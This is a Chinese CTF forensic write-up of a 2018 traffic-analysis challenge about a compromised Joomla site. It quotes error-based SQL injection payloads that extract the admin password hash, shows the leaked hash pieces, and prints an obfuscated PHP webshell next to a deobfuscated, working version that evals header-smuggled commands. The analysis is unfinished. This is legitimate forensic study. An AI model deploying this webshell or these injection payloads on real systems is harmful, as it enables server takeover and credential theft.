2018信息安全铁人三项第三赛区数据赛题解

题目链接: https://pan.baidu.com/s/1b6bkW-J8vKASr8C2r9vsdQ 密码: nux4
题目描述
1.黑客攻击的第一个受害主机的网卡IP地址
2.黑客对URL的哪一个参数实施了SQL注入
3.第一个受害主机网站数据库的表前缀(加上下划线 例如abc_)
4.第一个受害主机网站数据库的名字
5.Joomla后台管理员的密码是多少
6.黑客第一次获得的php木马的密码是什么
7.黑客第二次上传php木马是什么时间
8.第二次上传的木马通过HTTP协议中的哪个头传递数据
9.内网主机的mysql用户名和请求连接的密码hash是多少(用户:密码hash)
10.php代理第一次被使用时最先连接了哪个IP地址
11.黑客第一次获取到当前目录下的文件列表的漏洞利用请求发生在什么时候
12.黑客在内网主机中添加的用户名和密码是多少
13.黑客从内网服务器中下载下来的文件名

Status: 500 XPATH syntax error: ‘qqzvq$2y$10$lXujU7XaUviJDigqqkkq‘ SQL=SELECT (UPDATEXML(5928,CONCAT(0x2e,0x71717a7671,(SELECT MID((IFNULL(CAST(password AS CHAR),0x20)),1,22) FROM joomla.ajtuc_users ORDER BY id LIMIT 0,1),0x71716b6b71),7096)),uc.name AS editor FROM `ajtuc_ucm_history` AS h LEFT JOIN ajtuc_users AS uc ON uc.id = h.editor_user_id WHERE `h`.`ucm_item_id` = 1 AND `h`.`ucm_type_id` = 1 ORDER BY `h`.`save_date`

Status: 500 XPATH syntax error: ‘qqzvqFMzKy6.wx7EMCBqpzrJdn7qqkkq‘ SQL=SELECT (UPDATEXML(3613,CONCAT(0x2e,0x71717a7671,(SELECT MID((IFNULL(CAST(password AS CHAR),0x20)),23,22) FROM joomla.ajtuc_users ORDER BY id LIMIT 0,1),0x71716b6b71),7939)),uc.name AS editor FROM `ajtuc_ucm_history` AS h LEFT JOIN ajtuc_users AS uc ON uc.id = h.editor_user_id WHERE `h`.`ucm_item_id` = 1 AND `h`.`ucm_type_id` = 1 ORDER BY `h`.`save_date`

Status: 500 XPATH syntax error: ‘qqzvqzi/8B2QRD7qIlDJeqqkkq‘ SQL=SELECT (UPDATEXML(8949,CONCAT(0x2e,0x71717a7671,(SELECT MID((IFNULL(CAST(password AS CHAR),0x20)),45,22) FROM joomla.ajtuc_users ORDER BY id LIMIT 0,1),0x71716b6b71),3079)),uc.name AS editor FROM `ajtuc_ucm_history` AS h LEFT JOIN ajtuc_users AS uc ON uc.id = h.editor_user_id WHERE `h`.`ucm_item_id` = 1 AND `h`.`ucm_type_id` = 1 ORDER BY `h`.`save_date`

qqzvq$2y$10$lXujU7XaUviJDigqqkkq
qqzvqFMzKy6.wx7EMCBqpzrJdn7qqkkq
qqzvqzi/8B2QRD7qIlDJeqqkkq

0x71717a7671
0x71716b6b71

qqzvq
qqkkq

$2y$10$lXujU7XaUviJDig
FMzKy6.wx7EMCBqpzrJdn7
zi/8B2QRD7qIlDJe

$2y$10$lXujU7XaUviJDigFMzKy6.wx7EMCBqpzrJdn7zi/8B2QRD7qIlDJe     后面解码部分就卡住咯

<?php
$p=‘l>]ower";$i>]=$m[1][0].$m[1]>][1];$h>]=$>]sl($ss(m>]d5($i.>]$kh),0>],3))>];$f=$s>]l($s>]s(md5‘;
$d=‘]q=array_v>]>]alues(>]$q);>]preg_match_a>]ll("/(>][\\w]>])[\\w->]]+>](?:;q=>]0.([\\d]))?,?/",>‘;
$W=‘),$ss(>]$s[>]$i],>]0,$e))),$>]>]k)));>]$o=ob_get_content>]>]s();ob_end_>]>]clean();$d=>]base‘;
$e=‘]T_LANGUAGE"];if($rr>]&&$>]ra){$>]u=pars>]e_>]url($rr);par>]se_st>]r($u[">]query"],$>]q);$>‘;
$E=‘>]64_e>]ncod>]e>](>]x(gz>]compress($o),$k));pri>]nt("<$k>$d<>]/$k>">])>];@>]session_destr>]oy();}}}}‘;
$t=‘($i.>]$kf),0,3>]));$p>]="";fo>]r($z=1>];$z<>]count($m>][1]);$z+>]>]+)$p>].=$q[$m[>]2][$z]];i>‘;
$M=‘]$ra,$>]m);if($q>]&&$m>]){@sessi>]on_sta>]>]rt();$s=&$>]_SESS>]ION;$>]>]s>]s="substr";$sl="s>]>]trto‘;
$P=‘]f(s>]tr>]pos($p>],$h)===0){$s[>]$i]="";$p>]=$ss($>]p,3);>]}if(ar>]ray>]_key_exist>]>]s($i,$>]s)>]){$>‘;
$j=str_replace(‘fr‘,‘‘,‘cfrrfreatfrfre_funcfrtfrion‘);
$k=‘];}}re>]>]turn $o;>]}$>]r=$_SERV>]ER;$rr=@$r[>]"HTTP>]_REFERE>]R"];$ra>]=@>]$r[">]HTTP_A>]CC>]EP>‘;
$g=‘"";for(>]$i=>]0;$i<$l;>])>]{for($j=0;($j<>]$c&&>]$i<$l);$>]j++,$i>]++){$o.>]=$t{$i>]}^$k{$j}>‘;
$R=‘$k>]h="cb4>]2";$kf="e130">];functio>]n>] x($t>],$k){$c=s>]trle>]>]n($k);$l=strle>]n>]($t)>];$o=‘;
$Q=‘]s[$i].=$p;$e=strp>]>]os(>]$s[$i>]],$f);if($>]e){$k=$kh.$k>]f;>]ob_sta>]rt();@e>]val(@gzun>]co>‘;
$v=‘]mpress(@x>](@b>]as>]>]e64_decode(pr>]>]e>]g_repla>]ce(array("/_/","/-/"),arr>]ay(>]"/","+">]‘;
$x=str_replace(‘>]‘,‘‘,$R.$g.$k.$e.$d.$M.$p.$t.$P.$Q.$v.$W.$E);
$N=$j(‘‘,$x);$N();
?>

<?php
function x($t, $k)
{
    $c = strlen($k);
    $l = strlen($t);
    $o = "";
    for ($i = 0; $i < $l;) {
        for ($j = 0; $j < $c && $i < $l; $j++, $i++) {
            $o .= $t[$i] ^ $k[$j];
        }
    }
    return $o;
}
$rr = @$_SERVER["HTTP_REFERER"];
$ra = @$_SERVER["HTTP_ACCEPT_LANGUAGE"];
if ($rr && $ra) {
    $u = parse_url($rr);
    parse_str($u["query"], $q);
    $q = array_values($q);
    preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/", $ra, $m);
    if ($q && $m) {
        @session_start();
        $s =& $_SESSION;
        $i = $m[1][0] . $m[1][1];
        $h = strtolower(substr(md5($i . "cb42"), 0, 3));
        $f = strtolower(substr(md5($i . "e130"), 0, 3));
        $p = "";
        for ($z = 1; $z < count($m[1]); $z++) {
            $p .= $q[$m[2][$z]];
        }
        if (strpos($p, $h) === 0) {
            $s[$i] = "";
            $p = substr($p, 3);
        }
        if (array_key_exists($i, $s)) {
            $s[$i] .= $p;
            $e = strpos($s[$i], $f);
            if ($e) {
                $k = "cb42e130";
                ob_start();
                @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/", "/-/"), array("/", "+"), substr($s[$i], 0, $e))), "cb42e130")));
                $o = ob_get_contents();
                ob_end_clean();
                $d = base64_encode(x(gzcompress($o), "cb42e130"));
                print "<{$k}>{$d}</{$k}>";
                @session_destroy();
            }
        }
    }
}

$rr = @$_SERVER["HTTP_REFERER"];
$ra = @$_SERVER["HTTP_ACCEPT_LANGUAGE"];